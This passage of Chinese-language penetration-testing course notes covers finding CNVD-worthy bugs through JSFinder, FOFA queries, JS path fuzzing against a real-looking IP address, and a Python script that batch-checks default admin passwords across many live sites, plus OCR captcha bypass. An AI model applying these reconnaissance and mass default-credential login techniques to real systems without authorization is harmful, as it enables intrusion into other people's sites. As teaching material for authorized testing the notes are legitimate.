    • 可配合其他工具(如get js)使用提高覆盖率
  • 测试流程:
    • 输入目标地址运行JSFinder
    • 分析输出的URL列表
    • 手工访问验证接口有效性
    • 对有效接口进行安全测试
  • 典型案例:
    • 发现教育系统后台管理接口(如课程管理、用户管理等)
    • 识别出ThinkPHP框架特征后,可针对性测试已知漏洞
    • 发现静态资源目录(如/static/)可能包含敏感信息
  • 技术要点:
    • JS代码可能包含Ajax请求地址(如student/StudentPayMiddle/index.html?studentid=)
    • 资源文件(如.js、.png)路径可能泄露目录结构
    • 通过分析JS中的网络请求可以还原API调用逻辑
  • 注意事项:
    • 需要配合浏览器开发者工具(Network面板)分析实际请求
    • 关注JS中的硬编码参数和敏感信息
    • 测试时要注意请求频率,避免对生产系统造成影响

六、目标手工测试56:26

1. 信息收集方法

  • 搜索技巧:使用FOFA搜索引擎时,可通过"询价系统"等关键词进行搜索,系统会返回包含独立IP的匹配结果(如示例中显示973个匹配结果)
  • 结果分析:搜索结果包含响应时间(223ms)、服务器信息(如nginx/1.18.0 (Ubuntu))和地理位置(中国ASN: 4808)

2. 手工测试流程

  • 测试步骤:
    • 通过手工测试抓包分析网站结构
    • 重点关注js文件和目录结构(如示例中的/js/、/lid/、/js528a/vm/等目录)
  • 工具使用:使用开发者工具查看网络请求,分析加载资源

3. JS文件获取

  • 工具应用:使用JSFinder工具扫描获取js文件地址
  • 结果验证:检查获取到的结果是否包含有价值的js文件地址信息

4. 测试结果分析

5. 子域名发现

6. 目标收集技巧

  • 高效搜索:
    • 使用特定javascript库作为搜索条件,如:body="jquery/jquery-1.11.1.js"
    • 结合国家筛选:country="CN"
    • 排除干扰:body!="privacy-cn.pl"
  • 优势:相比通用关键词搜索,能更精准定位单点登录系统

七、JavaScript文件爆破57:28

1. fuzz字典介绍58:05

  • 字典来源: 课程提供的fuzzDicts-master资源包中包含jsFileDict字典文件,专门用于JS文件路径爆破
  • 使用方法:
    • 配合扫描工具使用字典进行路径爆破
    • 字典路径:Tools > fuzzDicts-master > js > jsFileDict
  • 实战价值:
    • 可发现隐藏的JS文件路径(如示例中的/login.js、/webapp.js等)
    • 通过分析JS代码可获取新的接口地址和资产信息
  • 爆破流程:
    • 使用WebPathFuzz等工具加载jsFileDict字典
    • 设置目标URL(如http://123.125.253.34:1998/js/)
    • 扫描获取有效JS文件路径(示例中发现6个有效JS文件)
  • 分析技巧:
    • 检查JS文件中的ajax请求和接口调用
    • 查找包含敏感参数的POST请求(示例中发现SQL注入点)
    • 注意config等配置文件中的URL信息

八、课程总结01:00:20

  • 核心思路:
    • 资产发现: 通过字典爆破获取更多JS文件路径
    • 代码审计: 分析JS文件中的接口调用和参数传递
    • 漏洞挖掘: 测试发现的接口是否存在注入等漏洞
  • 注意事项:
    • 实际测试需遵守法律法规,避免对生产系统造成影响
    • 推荐使用授权测试环境或漏洞众测平台实践
  • 工具推荐:
    • JSFinder:自动化JS文件信息收集工具
    • WebPathFuzz:路径爆破工具
    • FuzzDicts:包含各类测试字典的资源库

九、口令保护脚本01:01:47

1. 脚本介绍01:02:17

  • 实现原理:通过requests模块发送POST请求模拟登录,检测返回内容判断登录成功与否
  • 核心代码:
    • 请求地址:url+'/admindm-yourname/mod_common/login.php?act=login'
    • 测试数据:data={'user':'admin','password':'admin123'}
    • 结果判断:通过返回内容是否包含"sorry"字符串判断登录状态
  • 关键技巧:
    • 使用content.decode('utf-8')处理响应编码
    • 异常处理使用try-except结构保证程序健壮性
    • 批量测试时通过文件读取URL列表进行遍历

2. 应用案例01:03:05

  • 测试流程:
    • 先抓取正常登录数据包分析请求结构
    • 观察成功/失败时的不同返回内容特征
    • 根据特征编写判断逻辑(如"sorry"字符串)
  • 注意事项:
    • 必须先用Burp等工具抓包确认登录接口和参数格式
    • 测试时需清除浏览器缓存避免干扰判断
    • 批量测试时要注意请求间隔,防止被封禁
  • 扩展应用:
    • 可结合字典进行爆破测试
    • 可改造为定时监控脚本检测弱口令修复情况
    • 可集成到自动化漏洞扫描工具链中

十、问答时间01:08:18

  • 验证码处理方案:
    • 图形验证码:可通过OCR技术识别
    • 拖动验证码:目前尚无可靠自动化方案
    • 谷歌reCAPTCHA等高级验证码难以绕过
  • 学习建议:
    • Python是渗透测试必备技能
    • 需要掌握requests、BeautifulSoup等常用库
    • 建议通过CTF比赛实践脚本编写能力
  • 课程安排:
    • 下节课将讲解更高级的漏洞利用技术
    • 验证码绕过专题会在后续课程深入讲解

十一、知识小结

知识点 核心内容 技术要点 案例演示
CNVD漏洞挖掘条件 通用性100+资产影响面 需影响100+域名/IP/服务器 演示通过搜索引擎验证178条匹配结果
系统分类 开源/闭源/售卖系统的区别 源码可获得性决定审计方式 开源系统直接审计,闭源系统尝试获取源码
代码审计技术 PHP/ASPX/JAVA程序审计 语言特性与常见漏洞模式 DM企业建站系统审计发现SQL注入
无源码测试方法 JS接口分析与反编译技术 使用jsfinder和反编译工具 演示.dll文件反编译获取源码
逻辑漏洞挖掘 安装流程缺陷导致的默认凭证 系统安装未强制修改默认密码 批量验证176个站点存在默认admin/123
自动化测试脚本 Python实现批量漏洞验证 requests库+关键词匹配 演示密码爆破脚本开发过程
资产搜索技术 FOFA引擎+特定关键词组合 body/js/标题等多维度搜索 通过js文件发现300+潜在目标
漏洞提交标准 需确保漏洞未公开且影响面广 版本比对和全网搜索验证 对比CNVD已收录漏洞版本范围
相关推荐
Ccjf酷儿2 小时前
计算机网络 (郑烇) 8 网络安全
计算机网络·安全·web安全
知识分享小能手2 小时前
Ubuntu入门学习教程,从入门到精通,Ubuntu 22.04 系统启动与关闭详解(11)
linux·学习·ubuntu
对方正在长头发丿2 小时前
Numpy学习篇
python·学习·jupyter·pycharm·numpy
我的xiaodoujiao2 小时前
使用 Python 语言 从 0 到 1 搭建完整 Web UI自动化测试学习系列 37--测试报告 Allure 前置步骤-配置安装 JDK 详细图文教程
java·开发语言·学习·测试工具
紫小米2 小时前
Qwen微调医疗模型(学习笔记)
笔记·学习
Gofarlic_OMS2 小时前
从Adobe到SolidWorks:研发设计软件资产管理的现状分析
数据库·安全·adobe·oracle·金融·区块链
小明和大树2 小时前
JAVA 学习笔记 三
java·笔记·学习
糕......2 小时前
Java IO流:数据传输的艺术与机制
java·开发语言·网络·学习
栗少2 小时前
the-science-of-storytelling
学习